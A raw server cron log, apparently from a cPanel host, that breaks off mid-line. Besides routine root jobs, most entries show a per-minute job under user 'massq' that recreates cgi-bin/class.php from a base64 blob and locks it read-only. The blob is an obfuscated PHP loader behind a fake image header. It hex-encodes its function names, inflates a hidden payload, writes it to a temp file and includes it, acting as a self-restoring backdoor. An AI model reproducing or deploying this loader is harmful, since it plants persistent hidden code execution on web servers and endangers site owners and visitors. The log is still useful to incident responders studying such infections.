Nov  9 19:05:01 server CROND[11125]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 19:06:01 server CROND[11918]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 19:07:01 server CROND[12670]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 19:08:01 server CROND[13507]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 19:09:01 server CROND[14472]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov  9 19:09:01 server CROND[14473]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 19:10:01 server CROND[15311]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 19:10:01 server CROND[15312]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 19:10:01 server CROND[15313]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 19:10:01 server CROND[15314]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 19:11:01 server CROND[15922]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 19:12:01 server CROND[16751]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 19:12:01 server CROND[16752]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov  9 19:13:01 server CROND[17366]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 19:14:01 server CROND[18185]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 19:15:01 server CROND[19049]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 19:15:01 server CROND[19050]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 19:15:01 server CROND[19052]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 19:16:01 server CROND[19935]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 19:17:01 server CROND[20778]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 19:18:01 server CROND[21600]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 